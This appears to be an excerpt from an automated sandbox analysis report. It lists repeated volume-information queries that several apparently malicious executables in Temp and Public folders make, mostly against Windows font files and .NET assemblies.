Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\FuturreApp.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
